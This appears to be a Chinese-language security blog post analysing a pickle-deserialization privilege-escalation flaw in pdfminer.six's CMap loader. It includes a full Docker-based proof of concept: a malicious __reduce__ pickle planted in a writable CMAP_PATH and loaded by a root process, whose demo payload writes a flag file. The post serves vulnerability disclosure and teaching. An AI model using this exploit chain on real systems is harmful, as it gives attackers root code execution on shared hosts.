pdfminer.six不安全反序列化漏洞分析 - 本地权限提升攻击详解

本文详细分析pdfminer.six库中CMap加载器的不安全反序列化漏洞,攻击者可通过恶意pickle文件在特权进程中执行任意代码,实现从低权限用户到root的权限提升,包含完整的技术细节和演示环境搭建。

pdfminer.six不安全反序列化漏洞分析

漏洞概述

本报告演示了pdfminer.six中由于不安全使用Python pickle模块进行CMap文件加载而导致的真实世界权限提升漏洞。该漏洞展示了在典型的多用户或服务器环境中,低权限用户如何通过利用不安全反序列化来获取root访问权限(或升级到任何服务账户)。

背景介绍

pdfminer.six是一个流行的Python库,用于从PDF文件中提取文本和信息。它通过外部CMap文件支持CJK(中文、日文、韩文)字体,这些文件使用Python的pickle模块从磁盘加载。

安全问题: 如果CMap搜索路径(CMAP_PATH或默认目录)包含全局可写或用户可写的目录,攻击者可以放置恶意的.pickle.gz文件,该文件将被pdfminer.six加载和反序列化,从而导致任意代码执行。

漏洞描述

组件: pdfminer.six CMap加载(pdfminer/cmapdb.py) 问题: 使用Python的pickle模块加载和反序列化.pickle.gz文件,这对于不受信任的数据是不安全的。 可利用性: 如果低权限用户可以写入CMAP_PATH中的任何目录,他们可以以运行pdfminer的用户身份执行代码——可能是root或特权服务。 影响: 作为服务用户的完整代码执行、从用户到root的权限提升、持久性和潜在的横向移动。

演示场景

环境:

  • Alpine Linux(Docker容器)
  • 两个用户:
    • user1(攻击者:低权限)
    • root(受害者:运行特权PDF处理脚本)
  • 共享可写目录:/tmp/uploads
  • CMAP_PATH设置为特权脚本的/tmp/uploads
  • 系统范围内安装pdfminer.six

攻击流程:

  1. user1在/tmp/uploads中创建恶意CMap文件(Evil.pickle.gz)
  2. 特权服务(root)处理PDF或调用get_cmap(“Evil”)
  3. 恶意pickle被反序列化,以root身份运行任意代码
  4. 漏洞利用在/root/pwnedByPdfminer中创建标志文件作为证明

技术细节

漏洞类型: 使用Python pickle对不受信任数据进行不安全反序列化 攻击前提条件: 攻击者可以写入CMAP_PATH中包含的目录 易受攻击的代码行:

1
return type(str(name), (), pickle.loads(gzfile.read()))

在pdfminer/cmapdb.py的_load_data方法中

漏洞利用链:

  1. 攻击者在CMap搜索路径中放置恶意.pickle.gz文件
  2. 特权进程(例如root)加载CMap,触发pickle反序列化
  3. 任意代码以进程(root/服务账户)权限执行

设置和使用

📁 文件

Dockerfile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
FROM python:3.11-alpine

# Install required packages and create users
RUN adduser -D user1 && mkdir -p /tmp/uploads && chown user1:user1 /tmp/uploads

WORKDIR /app

# Install pdfminer.six
RUN pip install --no-cache-dir pdfminer.six

# Copy app files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

# Set up permissions for demo
RUN chmod 777 /tmp/uploads

# Default: drop into a shell for demo instructions
CMD ["/bin/sh"]

evilmod.py

1
2
3
4
5
6
import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}

createEvilPickle.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")

processPDF.py

1
2
3
4
5
6
7
8
import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

构建和启动演示容器

1
2
docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-demo

在容器中,并行打开两个shell(或在一个shell中切换用户):

Shell 1(攻击者:user1)

1
2
3
4
su user1
cd /app
python createEvilPickle.py
# 确认:/tmp/uploads/Evil.pickle.gz已创建并由user1拥有

Shell 2(受害者:root)

1
2
3
cd /app
python processPdf.py
# 输出:如果易受攻击,将创建/root/pwnedByPdfminer

权限提升证明

1
2
cat /root/pwnedByPdfminer
# 🏴 输出:ROOTED by pdfminer pickle RCE

逐步演练

  1. user1使用createEvilPickle.py制作恶意CMap pickle并放置在共享上传目录中
  2. root用户运行典型的PDF处理脚本,该脚本从该目录加载CMap文件
  3. 漏洞利用触发,以root身份运行任意代码
  4. 攻击者现在拥有以root身份执行代码的证明(在真实攻击中,可以进一步升级)

安全标准和参考

OWASP Top 10:

  • A08:2021 - 软件和数据完整性故障
  • A03:2021 - 注入(通过类比,因为它是通过反序列化的代码注入)

MITRE ATT&CK技术:

  • T1055:进程注入
  • T1548:滥用提升控制机制

参考

  • GHSA-f83h-ghpp-7wcc
  • pdfminer/pdfminer.six@b808ee0

漏洞信息

受影响版本: <= 20250506 修复版本: 20251107 严重程度: 高(CVSS评分7.8) 弱点: CWE-502(不受信任数据的反序列化)、CWE-915(动态确定对象属性的不当控制修改)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计